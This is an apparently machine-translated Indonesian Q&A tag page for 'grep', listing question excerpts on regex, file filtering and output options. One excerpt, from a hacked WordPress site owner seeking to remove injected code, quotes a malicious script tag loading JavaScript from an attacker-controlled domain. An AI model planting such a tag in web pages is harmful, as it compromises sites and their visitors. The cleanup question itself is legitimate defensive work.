Pertanyaan yang diberi tag «grep»

grep adalah utilitas pencarian teks baris perintah yang awalnya ditulis untuk Unix. Ini menggunakan ekspresi reguler untuk mencocokkan teks, dan biasanya digunakan sebagai filter dalam saluran pipa. Gunakan tag ini hanya jika pertanyaan Anda terkait dengan pemrograman menggunakan API berbasis grep atau grep. Pertanyaan yang berkaitan dengan penggunaan atau pemecahan masalah opsi baris perintah grep itu sendiri di luar topik.



3
git grep dengan ekstensi file
Saya tahu bahwa, jika saya ingin grep untuk pola hanya pada file dengan ekstensi tertentu, saya bisa melakukan ini: // searches recursively and matches case insensitively in only javascript files // for "res" from the current directory grep -iIr --include=*.js res ./ Saya telah mencoba mencari cara untuk melakukan ini …

30
Memvalidasi alamat IPv4 dengan regexp
Saya telah mencoba mendapatkan regex yang efisien untuk validasi IPv4, tetapi tidak berhasil. Tampaknya pada satu titik saya memilikinya (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}, tetapi menghasilkan beberapa hasil yang aneh: $ grep --version grep (GNU grep) 2.7 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.1 192.168.1.1 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.255 192.168.1.255 $ grep -E …

8
Cara memotong garis pencocokan panjang yang dikembalikan oleh grep atau ack
Saya ingin menjalankan ack atau grep pada file HTML yang sering memiliki baris yang sangat panjang. Saya tidak ingin melihat garis yang sangat panjang yang membungkus berulang kali. Tapi saya ingin melihat hanya bagian dari garis panjang yang mengelilingi string yang cocok dengan ekspresi reguler. Bagaimana saya bisa mendapatkannya dengan …
90 grep  unix  ack 

1
grep regex perilaku spasi
Saya memiliki file teks, berisi sesuatu seperti: 12,34 EUR 5,67 EUR ... Ada satu spasi sebelum 'EUR' dan saya mengabaikan 0, XX EUR. Saya mencoba: grep '[1-9][0-9]*,[0-9]\{2\}\sEUR' => didn't match ! grep '[1-9][0-9]*,[0-9]\{2\} EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s*EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s[E]UR' => worked ! Bisakah seseorang menjelaskan …
90 regex  grep  gnu 

10
Menggunakan tanda bintang di grep
Saya mencoba mencari substring "abc" di file tertentu di linux / bash Jadi saya melakukan: grep '*abc*' myFile Itu tidak mengembalikan apa-apa. Tetapi jika saya melakukannya: grep 'abc' myFile Ini mengembalikan pertandingan dengan benar. Sekarang, ini bukan masalah bagi saya. Tetapi bagaimana jika saya ingin grep untuk string yang lebih …
90 regex  bash  grep 

5
Tampilkan nama file dan nomor baris dalam keluaran grep
Saya mencoba mencari direktori rel saya menggunakan grep. Saya mencari kata tertentu dan saya ingin grep mencetak nama file dan nomor baris. Apakah ada bendera grep yang akan melakukan ini untuk saya? Saya telah mencoba menggunakan kombinasi -ndan -ltetapi ini baik mencetak nama file tanpa nomor atau hanya membuang banyak …
87 awk  grep 

7
Bagaimana cara mengganti seluruh string menggunakan sed atau mungkin grep
Jadi seluruh server saya diretas atau ada masalah malware. situs saya didasarkan pada WordPress dan sebagian besar situs yang dihosting di server saya berbasis WordPress. Peretas menambahkan baris kode ini ke setiap file dan dalam basis data <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Saya memang mencarinya via grep menggunakan grep -r "trasnaltemyrecords" /var/www/html/{*,.*} …
10 bash  shell  sed  grep 
Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.